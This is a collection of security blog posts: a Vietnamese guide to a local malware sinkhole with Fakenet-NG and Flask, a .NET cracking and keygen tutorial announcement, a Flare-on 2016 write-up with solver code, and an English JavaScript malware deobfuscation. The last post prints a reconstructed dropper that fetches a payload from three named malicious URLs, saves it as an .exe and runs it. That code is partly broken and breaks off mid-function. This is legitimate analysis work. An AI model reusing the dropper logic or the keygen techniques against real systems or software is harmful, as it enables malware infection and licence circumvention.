Tạo Local Sinkhole với Fakenet-NG và Python Flask

Trong phân tích malware (đặc biệt là các dòng botnet), thì việc giám sát các giao tiếp của chúng với C&C Server là hết sức quan trọng. Tôi sẽ không đi quá sâu vào phần này bởi vì trên mạng đã có rất nhiều bài viết nói về vai trò của sinkhole trong việc phân tích và giám sát. Có một bài viết rất chi tiết của anh QuangNH tại đây, các bạn có thể đọc và tham khảo.

Đó là sinkhole cỡ lớn, có thể dùng mô hình này để deploy trong thực tế để monitor trên diện rộng.

Nhưng trong quá trình phân tích nhiều khi tôi gặp phải vấn đề chưa thể giải quyết ngay là máy tôi quá yếu (!), không thể chạy chung một lúc nhiều máy ảo (xin hiểu cho, tôi vốn dĩ khắc khổ và dúm dó, nhìn rất là thảm, tiền ăn không có lấy đâu ra tiền nâng cấp máy). Với 4GB Ram và một con Core i5 1.7Ghz, có lẽ tôi không nên kì vọng quá nhiều. Thành tích duy nhất của con máy này là crack được pass WPA2 của nhà hàng xóm trong vòng một đêm (tôi nghi là do yếu tố tâm linh, tôi ăn chay niệm phật nên trời phù hộ).

Nói như vậy chỉ là cái cớ, cái cách tôi sắp mô tả sau đây theo tôi nghĩ thì khá là thích hợp để thực hiện trong môi trường local (quy mô nhỏ), tiện cấu hình và chỉnh sửa trực tiếp.

Tôi sẽ sử dụng 2 thứ:

  • Fakenet-NG của team FLARE : Đây là một tool khá là hay ho, nó có 2 nhiệm vụ chính:
    • Sử dụng 1 Diverter để chuyển hướng các traffic đến địa chỉ mong muốn
    • Có sẵn các Listener trước tương ứng với từng protocol. Trong bài này tôi sử dụng DNSListener để listen và redirect từ một domain C&C về local IP của chính máy tôi đang chạy
  • Python Flask: Flask là một library, hay đúng hơn là một microframework rất phổ biến giúp xây dựng các ứng dụng web trong python. Ngoài ra nó cũng đóng vai trò như một server đơn giản. Lúc đầu tôi phân vân giữa Flask của Python và Sinatra của Ruby, nhưng cuối cùng (lại vì một lý do tâm linh nào đó) tôi chọn Flask. Cách thực hiện với Sinatra cũng không có gì khác biệt lắm.

Okay, mô hình tôi muốn xây dựng là:

  • Host sẵn một webservice bằng Flask: Rất nhẹ và nhanh, không cần yêu cầu cài đặt các ứng dụng đồ sộ như Apache, Nginx,… để host. Với webservice này ta có thể làm khá nhiều việc, từ log lại các thông tin malware gửi lên để phục vụ Reverse, ta cũng có thể thử đóng vai trò C&C server để gửi data xuống để thử control malware, qua đó hiểu hơn về cách mà malware hoạt động.
  • Sử dụng Fakenet-NG để xử lý việc phân giải DNS và redirect request về Flask webservice.

Như vậy là ta đã có một tiny sinkhole :D.

Sau đây là cách làm chi tiết:

Tải về Fakenet-NG (bản release binary hay source code tùy bạn, tôi thì dùng binary vì dạo này bắt đầu có tuổi rồi, không máu me gì nữa, cái gì đơn giản thì tôi dùng). Giải nén ra và vào trong thư mục mới giải nén, các bạn sẽ thấy có 1 folder tên là “configs”, trong này có chứa các file cấu hình để fakenet-NG sử dụng. mặc định nó sẽ sử dụng file default.ini, bạn có thể mở file này ra để thấy được các cấu hình mà fakenet-NG hỗ trợ.

Tôi thì cần tạo 1 file cấu hình mới , đơn giản hơn cấu hình mặc định để phục vụ yêu cầu của tôi, vì vậy tôi tạo một file mới với tên sinkhole.ini chẳng hạn, và nội dung của nó thì như thế này:

#############################################################
# Config for Fakenet
[FakeNet]

DivertTraffic:  Yes

#############################################################
# Config for Diverter
[Diverter]

# Dump packet to pcap
DumpPackets:            Yes
DumpPacketsFilePrefix:  sinkholes

ModifyLocalDNS:         No
StopDNSService:         Yes

RedirectAllTraffic: No
# Set listener for TCP Protocol
DefaultTCPListener: TCPListener

# Ignore some common ports to not diverting traffics
BlackListPortsTCP: 139
BlackListPortsUDP: 53, 67, 68, 137, 138, 1900, 5355

#############################################################
# Config for Listener
# Divert HTTP traffic to local ip
[TCPListener]

Enabled:            True
Port:               80
Protocol:           TCP

# Divert DNS Query to local ip
# So whenever malware queries for malicious domain, fakenet-ng will leads it to our sinkhole
[DNS Server]

Enabled:     True
Port:        53
Protocol:    UDP
Listener:    DNSListener
# Change IP to sinkhole host IP
DNSResponse: 192.168.63.128
NXDomains:   0

Cấu hình này là cấu hình đơn giản nhất, có nghĩa là nó sẽ thực hiện:

  • Redirect toàn bộ traffic TCP trên port 80 về local IP. Bạn có thể thay đổi port tùy ý
  • Phân giải DNS về local IP, bật cái này để có thể track được domain C&C của malware

Ok, save lại và sau đó chạy fakenet-NG với lệnh:

fakenet32(64).exe -c configs\sinkhole.ini

Nó sẽ hiển thị ra như thế này, thông báo rằng 2 port 80 và 53 đã được monitor:

  ______      _  ________ _   _ ______ _______     _   _  _____
 |  ____/\   | |/ /  ____| \ | |  ____|__   __|   | \ | |/ ____|
 | |__ /  \  | ' /| |__  |  \| | |__     | |______|  \| | |  __
 |  __/ /\ \ |  < |  __| | . ` |  __|    | |______| . ` | | |_ |
 | | / ____ \| . \| |____| |\  | |____   | |      | |\  | |__| |
 |_|/_/    \_\_|\_\______|_| \_|______|  |_|.     |_|.\_|\_____|

                         Version  1.0
  _____________________________________________________________
                         Developed by
                      Peter Kacherginsky
       FLARE (FireEye Labs Advanced Reverse Engineering)
  _____________________________________________________________

08/26/17 10:50:09 PM [           FakeNet] Loaded configuration file: configs\sin
khole.ini
08/26/17 10:50:09 PM [          Diverter] Capturing traffic to sinkholes_2017082
6_225009.pcap
08/26/17 10:50:09 PM [           FakeNet] Anonymous TCPListener listener on TCP
port 80...
08/26/17 10:50:09 PM [        DNS Server] Starting...
08/26/17 10:50:09 PM [          Diverter] Starting...
08/26/17 10:50:09 PM [          Diverter] Successfully disabled the service Dnsc
ache.
08/26/17 10:50:10 PM [          Diverter] Successfully stopped the service Dnsca
che.
08/26/17 10:50:10 PM [          Diverter] Diverting ports:
08/26/17 10:50:10 PM [          Diverter] TCP: 80
08/26/17 10:50:10 PM [          Diverter] UDP: 53
08/26/17 10:50:10 PM [          Diverter] Failed to flush DNS cache. (DnsFlushRe
solverCache)
08/26/17 10:50:10 PM [          Diverter] Flushed DNS cache. (ipconfig)

Bây giờ ta tạo một web service nhỏ làm nhiệm vụ nhận request gửi lên, ghi vào log và trả về một đoạn data đơn gian. Code Python:

from flask import Flask, request
import socket
import logging

def getlocalIP():
    return socket.gethostbyname(socket.gethostname())

app = Flask(__name__)

@app.route("/", methods=["POST", "GET"])
def postIndex():
    remote_ip = request.remote_addr
    # Write a log entry
    app.logger.debug("%s -> %s" % (remote_ip, request.__dict__) )
    # Return a simple message to client
    return "Yay! You\'re visiting my tiny sinkhole. I saw that you\'re at %s " % remote_ip

if __name__ == "__main__":
    ip = getlocalIP()
    PORT = 80
    formatter = logging.Formatter("[%(asctime)s] - %(message)s")
    #Log to file
    fileHandler = logging.FileHandler("client.log")
    fileHandler.setLevel(logging.DEBUG)
    fileHandler.setFormatter(formatter)
    app.logger.addHandler(fileHandler)
    #Log to console output
    streamHandler = logging.StreamHandler()
    streamHandler.setLevel(logging.DEBUG)
    streamHandler.setFormatter(formatter)
    app.logger.addHandler(streamHandler)
    # Run in local address with predefined port
    app.run(debug=True, host=ip, port=PORT, threaded=True)

Lưu lại với tên bất kì, vd httpListener.py. Sau đó ta cài Flask bằng pip:

pip install flask

mở cmd, chuyển đến thư mục chứa code vừa tạo và dùng lệnh:

python httpListener.py

Sẽ có hiện thông báo webserver đang chạy trên port 80.

Sử dụng Google Chrome để truy cập vào một website bất kì, ta sẽ thấy hiển thị:

Trong log của fakenet-NG có ghi nhận:

08/26/17 10:50:28 PM [        DNS Server] Received A request for domain 'evil-ur
l.com'.
08/26/17 10:50:28 PM [        DNS Server] Responding with '192.168.63.128'
08/26/17 10:50:28 PM [          Diverter] Modifying outbound external TCP reques
t packet:
08/26/17 10:50:28 PM [          Diverter]   from: 192.168.63.128:49417 -> 192.16
8.63.128:80
08/26/17 10:50:28 PM [          Diverter]   to:   192.168.63.128:49417 -> 192.16
8.63.128:80
08/26/17 10:50:28 PM [          Diverter]   pid:  2184 name: chrome.exe
08/26/17 10:50:28 PM [          Diverter] Modifying outbound external TCP reques
t packet:
08/26/17 10:50:28 PM [          Diverter]   from: 192.168.63.128:49418 -> 192.16
8.63.128:80
08/26/17 10:50:28 PM [          Diverter]   to:   192.168.63.128:49418 -> 192.16
8.63.128:80
08/26/17 10:50:28 PM [          Diverter]   pid:  2184 name: chrome.exe

Trong cửa sổ chạy cmd của flask thì hiện thế này:

Và chúng ta có 1 file log với nội dung như sau:

Như vậy toàn bộ request đến evil-url.com đã được chuyển hướng sang localIP của tôi, từ đây có thể monitor được các hành vi của malware một cách dễ dàng.
Và chúng ta có cả file pcap để thực hiện phân tích gói tin (nếu cần):

Mission accomplished!
Bằng cách này tôi có thể chạy một tiny sinkhole và monitor trên một máy ảo với chỉ 1GB RAM, đồng thời chạy luôn debugger trên máy đó để trace trực tiếp và thay đổi trực tiếp cấu hình sinkhole mỗi khi cần thiết.

Happy Reversing and Best Regards,

Levis

Series Reversing/Cracking .NET cơ bản bằng tiếng Việt

Xin chào,

Tôi đã trở lại sau một thời gian vắng bóng. Chỉ là tôi ít viết blog hơn. Ít viết blog thôi nhé, chứ còn tôi vẫn viết, nhưng tôi viết và up ở nơi khác. Tôi viết cũng khá nhiều thể loại, từ văn học kích động quần chúng, công kích cá nhân, đả phá, xuyên tạc, bôi nhọ danh dự cũng như quyền lợi của các ông lớn (trong ngành phần mềm), nhiều khi tôi còn cổ súy một cách nồng nhiệt cho việc ngồi xổm lên luật pháp (vi phạm bản quyền), lúc hứng chí thì lại quay ra viết các thể loại ngôn tình sướt mướt, cũng ít nhiều lấy đi nước mắt người đọc và làm xao xuyến trái tím non nớt của nhiều bạn trẻ mới chập chững vào đời. Ôi chao…

Chính vì một trong các nguyên nhân đó mà đợt trước tôi có bị WordPress gọi lên cảnh cáo và yêu cầu rút kinh nghiệm sâu sắc, vì có những hành vi sai trái, không hợp chuẩn mực ứng xử của blogger trong thời gian vừa qua, nếu còn tái phạm chắc bị đình chỉ công tác và thuyên chuyển qua Blogspot, thế nên tôi sợ lắm, không dám manh động nữa, để giữ chắc cái ghế tôi đang ngồi, hoặc âm thầm tự diễn biến, tự chuyển hóa sang một dạng khác, lén lút hơn, tinh vi hơn và dĩ nhiên, có tổ chức hơn.

Nói nhiều như vậy nhưng nó chỉ xoay quanh một chủ thể chính: Những bài viết của tôi. Bởi vì tự nhiên hôm nay tôi giật mình ngồi nhìn lại, thấy trong những năm tháng qua, tôi viết nhiều papers, làm nhiều tuts, cố gắng giữ gìn rồi cũng rơi rụng bớt phần nào, là do mọi thứ thay đổi quá nhanh.

Có những cái host ngày xưa tôi đinh ninh rằng nó trường tồn lắm, như megaupload, rapidshare,…. Nhớ lại nhiều năm về trước, tôi cặm cụi làm rồi up, làm rồi up không ngừng nghỉ, hòng lưu giữ lại những thứ tôi coi là giá trị, những bài viết, những video tôi tự quay, những clip được dàn dựng cắt ghép công phu (tất nhiên là không che),…. Rồi một ngày đẹp trời, đám service provider bông nhiên lăn đùng ngã ngửa ra. Ngoảnh mặt lại, đã thấy mình trắng tay…

Giờ đây, đó đã là “vài năm về trước”, khi tôi còn hoang dại và thơ ngây, những bài viết non nớt. Ấy thế mà đó lại là một phần trong chuyến phiêu du của tôi, ghi lại những dấu ấn nhất định, và tôi rất tôn trọng chúng, chỉ tiếc rằng tôi không giữ nổi. Ngày đó nghèo, cái usb còn không có, chứ không đã lưu lại offline, để sau này truyền lại thành bài học cho con cháu, theo kiểu “Đấy, mày thấy chưa, thằng bố mày ngày xưa trẩu thế này này, đừng dại mà làm theo con nhé”.

Rồi tôi nghe phong phanh thấy thiên hạ đồn rằng up lên Github không sợ bị remove, nên tôi cũng thử một lần cho biết, bởi vì trước đây hình như có thằng cha nào up cả cái bộ IDA (leaked) lên, rồi bị report, Github mới biết và xóa đi. Cho nên chắc cũng ổn.

Xin giới thiệu với các bạn loạt tut về Reversing/Cracking .NET cơ bản dành cho người mới bắt đầu. Loạt tut này trước đây tôi làm rồi bán để lấy tiền mua cây đờn đặng tính học gảy để đờn cho người con gái nọ (đọc xong bài này bạn cuộn chuột lên dầu trang và liếc nhẹ sang bên phải). Thế rồi giờ em đã có người yêu, biết gảy đàn và hát hay, còn tôi thì phiêu bạt chân chời góc bể, đờn vẫn mang theo, những chẳng bao giờ gảy… Đó là cuộc đời…

Xin thứ lỗi, tôi không có ý định viết ngôn tình đâu, nhưng cứ động đến là cảm xúc nó lại cứ phọt ra như vậy đấy. Xin mô tả sơ qua về loạt tut này. Tut này là tut cũ, và tôi có share cách đây một thời gian trong một số channel mật. Thực ra nó không có gì đặc biệt để phải giấu diếm lâu như thế, chỉ bởi vì tôi tôn trọng những người hảo tâm đã mua đám tut này của tôi, nên tôi giữ kín trong một thời gian dài để đảm bảo quyền lợi cho họ. Còn bây giờ thì chắc là khấu hao nó cũng hết, nên tôi mới public.

Loạt tut này thuộc vào dạng “Hết sức cơ bản”, dành cho cả những người chưa biết gì. Trong mỗi tut tôi có cố gắng giải thích cặn kẽ hết sức có thể trong khả năng của tôi. Mỗi tut bao gồm:
– Video hướng dẫn
– Target được sử dụng trong mỗi video (crackme, apps,…)
– Các công cụ, tài liệu có liên quan đến nội dung video
– Bài tập: Các target khác tương tự như target trong video để người đọc sau khi xem xong có thể thực hành lại.

Mục lục:

  1. Gió
  2. Khởi đầu – Reflector và Serial Fishing
  3. Patching (Phiên bản văn minh với Reflexil)
  4. Patching (Phiên bản cồng kềnh với Hex Editor)
  5. Đọc code và Keygen (phần 1)
  6. Đọc code và Keygen (phần 2)
  7. Unpack .NET đơn giản
  8. Unpack .NET cùng Beloved Olly
  9. Tập cách kéo thả cùng de4dot
  10. Tạo keygen ứng dụng thương mại
  11. Vạn kiếm quy tông – Thử lửa với hần mềm đăng kí sim rác

Link download:

https://github.com/levisre/dotnettuts

Hi vọng nó sẽ có ích cho các bạn, ở một khía cạnh nào đó 🙂

Enjoy and best regards,

Levis

P/S: Về loạt bài Flare-on, tôi đình công vì phía FireEyes làm ăn cồng kềnh, gần nửa năm rồi mà không thấy giải thưởng gửi về. Bao giờ tôi nhận được giải thì biết đâu, bằng một biện pháp tâm linh nào đó, tôi lại có hứng để viết tiếp thì sao?

[Tản mạn] Flare-on 2016, tình đời và tình người

screenshot-2016-flare-on-com-2016-10-13-14-28-19

Đối với tôi, mùa thu năm nào cũng thế, thật là đẹp nhưng buồn như chó cắn. Cứ có cái bộn bề bức bối mà không biết tiết phát vào đâu. May mà có cái giải Flare-on, để mà tôi đâm đầu vào chơi cho quên mẹ nó cuộc đời. Rồi thì cũng xong, cũng bon chen giật được một cái huy hiệu đặng về chơi tết cho nó hoành, chỉ nghĩ đến cái viến cảnh mang chiếc huy hiệu về khoe với gia đình, được nhận cái vỗ vai đầy tự hào của cha, và khóe mắt long lanh hàng lệ vì hạnh phúc của mẹ, rồi thì những đứa trẻ trong xóm bám đuôi và tung hô như một vị anh hùng, bà con cô bác xóm giềng ra tươi cười chào đón, và em – cô gái ấy – nhìn tôi với ánh mắt đầy xao xuyến, nửa mừng vui, nửa the thẹn ngại ngùng… Ôi chao, chỉ vậy thôi là đã có tinh thần rồi. Không, hi vọng đó là tôi của ngày sau, chứ không phải là tôi của hiện tại. Xin lỗi, tôi ôm cua hơi rộng. Đại để là thi xong rồi định viết một seríes writeup thật là hoành để làm màu và lấy số, nhưng đọc lại được bài viết của anh Kiên và anh Sẻ, tôi cũng tự nhủ lòng mình rằng sẽ theo bước các đàn anh, viết nên một cái gì đó trầm lắng hơn một chút, ủy mị hơn một chút, để giãi bày cái tâm tư thầm kín che giấu bấy lâu nay. Thêm nữa là, mấy đứa em tôi hay nói “Anh chả có mẹ gì, chỉ toàn làm màu”. Tôi ức lắm, tôi sẽ viết bài này thật tốt, để chứng minh rằng anh trai của chúng nó cũng rất có tiền đồ trong cái sự nghiệp viết văn trào phúng, và các thể loại văn học kích động quần chúng. Ngoài những lúc đê hèn lầy lội ra thì tôi cũng là một người tử tế lắm mà.

Tôi sẽ kể lại câu chuyện của tôi, với mười cô gái đã vội đến vội đi qua đời tôi trong những buổi chiều thu xa vắng ấy. Tôi sẽ viết, viết với “Bảy thơ ca, ba kĩ thuật”, chỉ để muốn nhắn nhủ rằng, khi áp dụng những yếu tố tâm linh vào trong phạm trù kĩ thuật, mọi thứ có vẻ như dễ hiểu hơn hẳn. Có lẽ là vậy.

Challenge 1 – Một chút thoáng qua

Tôi gặp em lần nào chưa nhỉ? Có lẽ là chưa, nhưng cũng có lẽ là rồi, bởi vì tôi thấy em vừa quen vừa lạ. Một cô gái bán hoa nhỏ nhắn và dễ thương, là một điều vừa hoàn hảo, lại vừa thiếu sót, bởi vì em quá tuyệt vời, thế nhưng tiếc cho tôi, và tiếc cho em, chỉ gặp nhau trong thoáng chốc rồi lại tách nhau ra xa mãi mãi. Trong cái khoảng thời gian đó, tôi và em lao vào nhau, nồng nàn và cuồng nhiệt hơn tất thảy, bởi vì ngọn lửa mãnh liệt của tuổi thanh xuân đang thiêu đốt cả hai, khiến tôi và em trở lên điên cuồng và hoang dại. Đó là một khoảnh khắc đê mê và hoan lạc nhất trong cuộc đời, mà tôi sẽ không bao giờ quên. Khi cả hai trần trụi trước mặt nhau, tôi nhận thấy em có một nốt ruồi trên ngực, thứ mà vừa nhìn thấy thôi tôi đã biết ngay em là một người con gái “ĐẢM ĐANG”, và tôi yêu điều đó. Khoảnh khắc dâng trào, mọi thứ như bùng cháy, cuốn trôi đi tất cả mọi thứ trên đời, chỉ còn lại tôi và em … Hai phút sau, tôi lặng lẽ giơ cánh tay mở cửa ban công, rón rén bước ra ngoài rồi châm thuốc hút, để nghĩ về cuộc đời. Tôi quyết định rồi, sắp tới đây tôi sẽ mua sâm về ngậm dần cho quen.

Cách giải: Base64 decođe table, rất dễ để nhận ra, Cờ líp hai phút full không che, một phát đảm bảo lên đỉnh:

import string,base64
std = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
mt = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
input = "x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q"
print base64.b64decode(input.translate(string.maketrans(mt, std)))

Challenge 2 – Cô bé ngây thơ

Chà, một cô bé hay nhõng nhẽo và hơi đãng trí. Nhưng chết bỏ mẹ, tôi lại khoái mấy cái kiểu tuổi teen như thế mới khổ chứ, chắc cũng lý giải phần nào trong quá khứ, hồi đó tôi buôn lịch cũng nhiều. Em gấp cho tôi một nghìn con hạc giấy, để trong cái hũ, kiếm một cái hộp bỏ vào rồi khóa thật chặt lại, em giữ cái hộp, đưa cho tôi giữ cái chìa, em nói với tôi “Bao giờ hạc giấy này bay hết ra khỏi cái hộp, thì điều ước của em sẽ thành sự thật”. Tôi cười, bẹo má em một cái và hỏi “Thế em ước điều gì?”, em rúc nhẹ vào lòng tôi và thỏ thẻ nhẹ nhàng “Em ước … các con anh được lớn lên bằng sữa của em”…

Có nghĩa là, hạc giấy sẽ chỉ bay khi tôi mở khóa cho cái hộp. Em muốn đợi tôi, cho đến lúc thành công thì tôi sẽ mang khóa đến trả tự do cho hạc giấy, để hiện thực cho điều ước của em. Thế rồi cái ngày ấy cũng đến, tôi hồ hởi mang chiếc khóa khi xưa đến cho em, nhưng em lắc đầu nói “quên mịa nó cái hộp đấy để đâu rồi”. Thế là tôi lại lục tùng mọi thứ lên, vừa lục vừa hậm hực tự nhủ “Nay ông đến đây rồi, không mở được khóa thì ông cũng quất, chả sợ mẹ gì”. Thế rồi, trời run rủi sao, tôi và em cũng tìm được cái hộp đựng hạc giấy khi xưa, em mở khóa ra thì hạc giấy đâu mất hết, chỉ thấy mỗi một cái chăn con công. Các con tôi thì chưa biết ra sao, nhưng một ai đó lớn lên bằng sữa của em, thì có thật rồi đấy.

Challenge 2: Tìm đúng vị trí đặt file .doc (Briefcase) và patch API CryptEncrypt thành CryptDecrypt.

Challenge 3 – Người lạ

Một người con gái bí ẩn và đầy quyến rũ. Tôi gặp em ở một quán bar, nhìn em rất quý phái, nhưng không kém phần đằm thắm và khêu gợi. Tôi lân la làm quen nói chuyện, nhưng không biết tên em, gặng hỏi thì em không nói mà chỉ mỉm cười, đôi mắt lúng liếng chao qua chao lại và gạt tóc qua một bên để lộ bờ vai trắng ngần và thơm phưng phức. Tôi nuốt nước miếng một cái ực, cố gắng kiềm chế lại một điều gf đó đang trỗi dậy trong người. Một lúc sau do quẩy hơi mạnh, em mệt, lảo đảo đứng dậy ra về, tôi đưa tay ra dìu em. Tóc em lại xõa xuống, để lộ ra phía sau gáy có xăm hình một con bướm nhỏ. Mãi sau này tôi mới biết, tên em là Điệp. Tôi đưa em vào xe tôi, tôi hỏi địa chỉ để tôi đưa em về. Em nói lan man nửa đùa nửa thật là dại khái là “đến nơi nào có bóng dáng em”, làm tôi chạy lòng vòng thấy mệt. Tức mình, tôi chẳng thèm tìm nữa, bẻ lái chạy ngay vào cái Hotel sang chảnh mang tên Hồ Điệp. Chuyện gì đến cũng đến, người đi đường lại nhìn thấy tôi mở cửa ra ban công hút thuốc. Tình cờ nữa là, tôi phát hiển ra rằng khách sạn đó nằm trong chuỗi khách sạn của em, là cái em thích nhất và được đặt theo chính tên em. Em là Việt Kiều về mở vốn kinh doanh chuỗi nhà hàng khách sạn. ĐÚng là oan gia ngõ hẹp, đời tôi lên hương từ đó …

Challenge 3: Tìm đúng tên file và dựa vào đó bruteforce để lấy lại argument. Code C:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int checksum(char* s,int len)
{
	int result = 0;
	for(int i=0;i<len;i++)
	{
		result = s[i] + 37*result;
	}
	return result;
}

int sum_table[0x1A] = {
0xEE613E2F, 0xDE79EB45, 0xAF1B2F3D, 0x8747BBD7, 0x739AC49C, 0xC9A4F5AE, 0x4632C5C1, 0xA0029B24,
0xD6165059, 0xA6B79451, 0xE79D23BA, 0x8AAE92CE, 0x85991A18, 0xFEE05899, 0x430C7994, 0x1AB9F36F,
0x70C42481, 0x05BD27CF, 0xC4FF6E6F, 0x5A77847C, 0xDD9277B3, 0x25843CFF, 0x5FDCA944, 0x8EE42896,
0x2AE961C7, 0xA77731DA};

int main()
{
	char* flarestr = "__FLARE On!";
	char* buf;
	int n = 0;
	int len = strlen(flarestr);
	buf = (char*) malloc(len+1);
	memcpy(buf,flarestr,len);
	char b = buf[1];
	char i;
	while(n<0x1B)
	{
		b=b+1;
		for(i=0x20;i<0x80;++i)
		{
			buf[0] = i;
			buf[1] = b;
			if(checksum(buf,len) == sum_table[n])
			{
				printf("%c", i);
				break;
			}
		}
		n = n+1;
	}
	free(buf);
	return 0;
}
//Ohs0pec1alpwd@flare-on.com

(Còn tiếp)

Deobfuscating Javascript Malware

Hello,

I just received a javascript sample, from one of my friends. He said that this sample was sent by an malicious email address. and seem that the bad actors are trying to trick people to click on the file.

THen i quickly open up the file in a text editor, and relized that the file is strongly obfuscated, that can not be read normally. So, to figure out what exactly behind it, i have to deobfuscate javascript. Then the journey begins.

The code: http://pastebin.com/uk0vk3VT ( i can’t post the code here because it’s too long
Meh, >5000 lines of code, and mostly are seem nonsense. But, i noticed on the top of the code:


function f(s) {return eval(s);};

It uses eval() to execute a variable s. And at the very last of the file, i saw:

if (c["length"] >= 12) f(c);

It calls f with c as the input. And from the line 5664 to 5670, i got:

b = aj85dZA;
b = b"join";
b = b"split";
b = b"join";
b = b"split";
c = b"reverse";
c = c"join";

It takes all the data of the huge chunk above and do some tasks. I’m to lazy in this phase to rewrite the code, so i use Chrome, with a little trick, change:

function f(s) {return eval(s);};

to
function f(s) {return document.write(s);};
So when we execute the code, it will prints out the value of s, rather than execute it. So we can get another piece of code for the next phase. Fire up Chrome -> F12 -> Paste the modified code -> Enter, and:

js_decoded_phase1
Pretty easy, eh? Phase 1 completed. But still, the code is obfuscated. We got more, but seem to be really ugly since it is unstructured. I use Jsbeautifier to clean up and restructure it, for a better view. In a second, we have:


var QSf7 = [OXc9(AAh) + OWVEq9 + (function UNVh7() {
return VXYPv7;
}()) + Pq(Ko) + KAUo + (function FFNu() {
return CCc;
}()) + GHWw2(SJRf) + SKf + Jz + MNx(Gx) + PQq4, KSd + (function NWGd() {
return Ke;
}()) + MEHWy + ETq3 + XIAa + Pu + CKb + VLv5(MTXUp) + Um(TZv3) + UMe + ADSt2, KSd + Ke + Lf6 + (function VBj() {
return ORVx6;
}()) + (function It3() {
return Xd9;
}()) + PZAt + ZWk5 + (function MUBDz5() {
return Jg;
}()) + NJKw + RNn + IJLy0 + UYy9 + EMo5];
var UZAEh = WScript[MRHMp5 + PMIa + NAVz2 + En](Iw6 + JJx + UNo + OTj5);
var BHIf = UZAEh.ExpandEnvironmentStrings(Yn5 + RFw8);
var Tx = BHIf + NCz + Ux + (function Ke0() {
return CJQb;
}());

Full code is at: http://pastebin.com/p332nWSa (sorry, because i don’t want to make this post to be very long)

From there, why can’t i use Chrome to evaluate the code? Simply i don’t have any idea about the code, so better not run it, because it’s too complicated to set a breakpoint or trace down. So, what did i do?

In the very beginning of the code, i see a lot of variables which are strings. Seem that they’re originally a word, but now that word is splitted into pieces, each one is stored in a dedicated variable, and the variable’s name is randomized. So, i started to think that, i need to reformat all the name of those variables.

The scheme is simple, rename the variable name, according to its value. Just need a text editor, anyone that can perform search and replace, and replace them all in whole document. In this case, i choose sublime, and it consumes a lot of time to finish the task, because i have to do a lot of steps with mouse, not the hotkey. I believe that some other editors that can do better.

Start the boring task
Start the boring task

After a while, 20-30 mins, maybe, i replace all the name of variables which store readable strings. Phew, i can believe that i have done a most-boring-task-ever. Then i quickly scroll down in the file, i got a diamond:

Voila
Voila

So, what can you see in there? Yeah, i think that you saw some interesting things here. We have some sensitive data hare. I did the magic with just “Search and Replace”. Now the next job is combine them together and make it rocks. Delete the plus (“+”) sign, or better rewrite the code based on what you actually saw, now everything is clearly, even a kid can do that, like a tetris game.

The obfuscation scheme is:

  • Split sensitive strings into pieces, and then obfuscate the name.
  • Use many junk code to make it harder to read. You can read the code that it makes some function that only return the input “as it”.
  • Use Object[“MethodName”]() instead of the traditional object.methodName(). So it’s really hard to keep up with.

Next to it, i got:

Maliciouse URLs
Maliciouse URLs

Now we have the malicious URLs. There are 3, from the first time i saw them, they’re still active, but in this time, they removed the file from the server (just 3 days ago). Anybody interested, just do a whois.

List of malicious URLS:

http://sirimba.com.br/qiovtl
http://zakagimebel.ru/krcsvf
http://repair-service.london/uywgi7v

 

The fully cleaned the code i posted to gist. I built it truely from the obfuscated code. Now it’s fully readable. Mission accomplished. Nothing special, just “Search and replace”, and then tidy up the code.


var keyBuffer = ("112" + "313" + "2","VVVVVVVVVVVVVVVVVVVVVV"); // VVVVV + VVVV + VV + VVVVV + VV + VVVV);
var keybufferLen = keyBuffer.length;
var keybuffer2 = "VVVVVVVVVVVVVVVVVVVVV"; //VVVVV + VV + VV + VV + VVVVV + VV + VV + V;
var keybuffer2Len = keybuffer2.length; // keybuffer2[leng + th];
var keybuffer3 = ("asfasdfasfd", "VVVVV"); // (asfas + dfasf + d, VVVVV);
var keybuffer3Len = keybuffer3.length; //keybuffer3[leng + th];
var LUj = 1;
var adTypeText = 2;
var malURL = ["http://sirimba.com.br/qiovtl&quot;,"http://zakagimebel.ru/krcsvf&quot;,"http://repair-service.london/uywgi7v&quot;];
var wsShell = WScript.CreateObject(WScript.Shell);
var envStr = wsShell.ExpandEnvironmentStrings(%TEMP%);
var fileName = envStr + "0ttyR" + "4ET9B" + "xiI";
var fullFileName =fileName + ".exe";
var dropedName = "%TEMP%/0ttyR4ET9BxiI.exe";
var listProtocol = ["WinHttp.WinHttpRequest.5.1", "MSXML2.XMLHTTP"];
for(var i=0;i<listProtocol.length;i++)
{
try {
var objHttpReq = WScript.CreateObject(listProtocol[i]);
}
catch(exception)
{
continue;
}
};
var _true = 1;
var urlIndex = 0;
do {
try {
if (1 == _true) {
if(urlIndex>=malURL.length)
{
urlIndex=0;
WScript.Sleep(1000);
objHttpReq.open("GET",malURL[urlIndex++ % malURL.length],false);
objHttpReq.send();
}
if (objHttpReq.readystate<4)
{
WScript.Sleep(100);
continue;
}
objADODBStream.open();
objADODBStream.type = 1;
objADODBStream.write(objHttpReq.ResponseBody]);
objADODBStream.position = 0;
//objADODBStream["Sa" + "veT" + "oF" + "ile"](dropedFile, 2);
objADODBStream.SaveToFile(dropedFile,2);
//objADODBStream[clos + e]();
objADODBStream.close();
var decryptObj = decrypt(dropedFile);
decryptObj = doDecrypt(decryptObj);
if (decryptObjdFile.length < 100 * 1024 || (decryptObj.length > 230 * 1024 || !isMZ(decryptObj))) {
_true = 1;
continue;
saveFile(fullFileName, decryptObj);
wsShell.Run(fullFileName + " 3" +" 21");
break;
} catch (exception) {
WScript.Sleep(1000);
continue;
};
} while (_true);
WSCript.Quit(0);
function doDecrypt(o) {
var expected;
var actual = o[o.length4] | o[o.length3] << 8 | o[o.length2] << 16 | o[o.length1] <<24;
o.split(decryptObj.length4, 4);
expected = keybufferLen;
var m = 0;
for(;m< o.length;m++)
{
expected = (expected + o[m]) % 0x100000000;
}
if (expected != actual)
{
return []
};
getKey2Len = keybuffer2Len;
o = o.reverse();
m = 0;
for (;m < o.length;m++)
o[m] ^= getKey2Len;
getKey2Len = (getKey2Len + keybuffer3Len) % 256;
}
return o;
};
function isMZ(input) {
if (input[0] == 77 && input[1] == 90) { //0x4D and 0x5A <– MZ Header
return true;
} else {
return false;
}
};
function decrypt(badge) {
var owner = WScript.CreateObject("ADODB.Stream");
owner.type = adTypeText;
owner.Charset = "437"; //CP437
owner.open();
owner.LoadFromFile(badge);
var unlock = owner.ReadText();
owner.close();
